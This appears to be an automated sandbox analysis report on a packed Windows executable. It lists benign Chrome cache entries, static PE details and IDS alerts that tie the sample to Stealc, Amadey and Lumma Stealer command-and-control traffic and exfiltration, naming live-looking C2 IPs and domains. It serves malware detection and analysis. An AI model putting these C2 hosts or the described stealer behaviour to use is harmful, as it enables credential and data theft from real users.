SHA-512:	B046D6780F3775D8AB1AC9665D54B57438C956EC0B06F35BF11B60B403C94D126D32EE9A8CEE5FE0332D971758C593B17CA946F8AFAA1F1DF6DE0D169864FD92
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["chicago bulls vs atlanta hawks","shiba inu cryptocurrency","northern lights aurora forecast","national hurricane center","gta vi release date","tim dillon joker 2","rockefeller center christmas tree","amazon black friday deals"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[607,606,605,604,603,602,601,600],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"],"google:verbatimrelevance":851}]

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	174097
Entropy (8bit):	5.554845848492248
Encrypted:	false
SSDEEP:	3072:49GysOAIZQy3ZZb6L5BfizRURkgq3ocEs7BB19HDKDSfEISlCMDyQhnF/VU9cpar:49G3IZP3ZZmHfiz+R7q3ocV7BB19HDKq
MD5:	292ACC11525E24B0501DEAC4EB7B61D4
SHA1:	4840E1B06489D1210E25C620AC0E4DEA33F4A574
SHA-256:	A5CB759FC6BF64DD1E35731C88899928B098A359EFF9CA5B34B91F23ADE02C2B
SHA-512:	FBDB4B2B4B647F734B6E05D0495CE1135E9536D611BC567A3B47353FEC986B92412153C214EFE776BC6391239076B3DA6B79851C8BE036C00E4AD026F88CC683
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.ciOLm-Jy21Y.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTvi2-a6fPowp_OrDQczHs8e8wA2zQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.ej=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var fj,gj,ij,lj,oj,nj,hj,mj;fj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};gj=function(){_.Ka()};ij=function(){hj===void 0&&(hj=typeof WeakMap==="function"?fj(WeakMap):null);return hj};lj=function(a,b){(_.jj\|\|(_.jj=new hj)).set(a,b);(_.kj\|\|(_.kj=new hj)).set(b,a)};.oj=function(a){if(mj===void 0){const b=new nj([],{});mj=Array.prototype.concat.call([],b).length===1}mj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.pj=function(a,b,c){a=_.zb(a,b,c);return Array.isArray(a)?a:_.Kc};_.qj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.rj=function(a,b){a===0&&(a=_.qj(a,b));return a\|1};_.sj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.tj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.xj=function(a,b,c,d,e,f,g){const h=a.ha;var k=!!(2&b);e=k?1:e;

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133673
Entropy (8bit):	5.432752682918022
Encrypted:	false
SSDEEP:	1536:i7C/VNg17Yp+GhGLhJgJoamyeX43zGiJsKtPLx8OF97f4qlgcCFlOve2dzAcJ82O:fI7vhSJjxeX431PBLx8OF9jkYsci2i6o
MD5:	88981DC58F4C3DA791CB01774AE16C4F
SHA1:	237A3F2983C184F6A0537FBCE5425B5D21DCF12E
SHA-256:	D96E20088631343524092407E45FEE6E0DF629992BEAC644A7D1CBF0D38B162E
SHA-512:	B91FF64F212623E0EE5461D9CFFE5D9BB233D404A4B8AD2FFF40D4C3AD3F659D355CEBDB21E28F6E919DF3A7E8B44F644FB4F0AEB7111DE2B0A6E2CEEB943B5E
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.gyN29IQRsEA.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTthb_7uL8fi0CBKDba3xi6R0PUU9w"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	19
Entropy (8bit):	3.6818808028034042
Encrypted:	false
SSDEEP:	3:VQRWN:VQRWN
MD5:	9FAE2B6737B98261777262B14B586F28
SHA1:	79C894898B2CED39335EB0003C18B27AA8C6DDCD
SHA-256:	F55F6B26E77DF6647E544AE5B45892DCEA380B7A6D2BFAA1E023EA112CE81E73
SHA-512:	29CB8E5462B15488B0C6D5FC1673E273FB47841E9C76A4AA5415CA93CEA31B87052BBA511680F2BC9E6543A29F1BBFBA9D06FCC08F5C65BEB115EE7A9E5EFF36
Malicious:	false
URL:	https://www.google.com/async/ddljson?async=ntp:2
Preview:	)]}'.{"ddljson":{}}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.944414315072448
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'792'512 bytes
MD5:	3d8fd510f87bb030174fccccb5ad853a
SHA1:	cea55fd0da2ec6e86441f46af6bd1f2959aa4a16
SHA256:	e442940afa41e32dd14e913b6820b5a0150bfacd17ae8f097f8fa5ae7cb0176e
SHA512:	41825debeccd5da671273a20be606fb3774f96fc6df12de8c8447e65704d04686cbecf80654e49d744e6ccefeaf7965a4d75a878b2c5b4181112ab1b51614c5f
SSDEEP:	49152:unFrCF8dgRk2u1n7SIKu14X8+9b3JyTqRgi3:unSWBJ51SjJ/
TLSH:	CF8533525E6AB117E2A2D33283FDE6FF9B406B5583E9CFD3504C0DB8A1CB403958966C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa8c000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F892C828EDAh

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	1f1c8e6b6cb2248438b69cf4958d23f1	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a3000	0x200	e45d1537bb22316869e02b33ef536069	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
oxdvgcpf	0x4ef000	0x19c000	0x19be00	ec27a8aa35a64c6f234efb692fd2fcb9	False	0.9947310081562974	OpenPGP Secret Key	7.954207166929405	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bxdexzeo	0x68b000	0x1000	0x400	3729ab439d1302a5c793087ece171a54	False	0.783203125	data	6.166688386110065	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x68c000	0x3000	0x2200	a1210123c092b9bd0293ce00c9458aa8	False	0.00666360294117647	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-10T19:44:00.714512+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-10T19:44:01.007509+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-10T19:44:01.013905+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-11-10T19:44:01.292913+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-10T19:44:01.300287+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-11-10T19:44:02.626514+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-10T19:44:03.150193+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-10T19:44:14.821003+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.175.87.197	443	192.168.2.4	49755	TCP
2024-11-10T19:44:17.531513+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	185.215.113.206	80	TCP
2024-11-10T19:44:19.168138+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	185.215.113.206	80	TCP
2024-11-10T19:44:20.299925+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	185.215.113.206	80	TCP
2024-11-10T19:44:21.122946+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	185.215.113.206	80	TCP
2024-11-10T19:44:23.043340+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	185.215.113.206	80	TCP
2024-11-10T19:44:23.561873+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49753	185.215.113.206	80	TCP
2024-11-10T19:44:27.350293+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49762	185.215.113.16	80	TCP
2024-11-10T19:44:53.516395+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.4	49763	TCP
2024-11-10T19:45:05.444498+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49815	185.215.113.43	80	TCP
2024-11-10T19:45:08.739973+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49832	31.41.244.11	80	TCP
2024-11-10T19:45:17.792013+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49826	TCP
2024-11-10T19:45:18.708280+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49886	185.215.113.43	80	TCP
2024-11-10T19:45:19.629176+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49891	185.215.113.16	80	TCP
2024-11-10T19:45:28.447182+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	59370	1.1.1.1	53	UDP
2024-11-10T19:45:28.473982+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	57530	1.1.1.1	53	UDP
2024-11-10T19:45:28.503443+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	59332	1.1.1.1	53	UDP
2024-11-10T19:45:28.534149+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	63247	1.1.1.1	53	UDP
2024-11-10T19:45:28.562931+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.4	57056	1.1.1.1	53	UDP
2024-11-10T19:45:28.606475+0100	2057121	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)	1	192.168.2.4	57273	1.1.1.1	53	UDP
2024-11-10T19:45:28.633225+0100	2057119	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store)	1	192.168.2.4	60853	1.1.1.1	53	UDP
2024-11-10T19:45:29.140472+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49943	185.215.113.43	80	TCP
2024-11-10T19:45:29.312721+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.4	49949	188.114.97.3	443	TCP
2024-11-10T19:45:29.312721+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49949	188.114.97.3	443	TCP
2024-11-10T19:45:30.210508+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49950	185.215.113.16	80	TCP
2024-11-10T19:45:30.529313+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49949	188.114.97.3	443	TCP
2024-11-10T19:45:30.529313+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49949	188.114.97.3	443	TCP
2024-11-10T19:45:31.208876+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.4	49961	188.114.97.3	443	TCP
2024-11-10T19:45:31.208876+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49961	188.114.97.3	443	TCP
2024-11-10T19:45:32.082310+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49961	188.114.97.3	443	TCP
2024-11-10T19:45:32.082310+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49961	188.114.97.3	443	TCP
2024-11-10T19:45:33.240713+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.4	49972	188.114.97.3	443	TCP
2024-11-10T19:45:33.240713+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49972	188.114.97.3	443	TCP
2024-11-10T19:45:34.644708+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.4	49978	188.114.97.3	443	TCP
2024-11-10T19:45:34.644708+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49978	188.114.97.3	443	TCP
2024-11-10T19:45:36.524607+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.4	49989	188.114.97.3	443	TCP
2024-11-10T19:45:36.524607+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49989	188.114.97.3	443	TCP
2024-11-10T19:45:39.263969+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49999	185.215.113.43	80	TCP
2024-11-10T19:45:39.489159+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.4	50005	188.114.97.3	443	TCP
2024-11-10T19:45:39.489159+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50005	188.114.97.3	443	TCP
2024-11-10T19:45:40.144647+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50006	185.215.113.206	80	TCP
2024-11-10T19:45:40.204491+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	50005	188.114.97.3	443	TCP
2024-11-10T19:45:42.764889+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	63743	1.1.1.1	53	UDP
2024-11-10T19:45:42.793959+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	59785	1.1.1.1	53	UDP
2024-11-10T19:45:42.824220+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	53738	1.1.1.1	53	UDP
2024-11-10T19:45:42.850872+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	51188	1.1.1.1	53	UDP
2024-11-10T19:45:42.874895+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.4	57859	1.1.1.1	53	UDP
2024-11-10T19:45:42.898537+0100	2057121	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)	1	192.168.2.4	53649	1.1.1.1	53	UDP
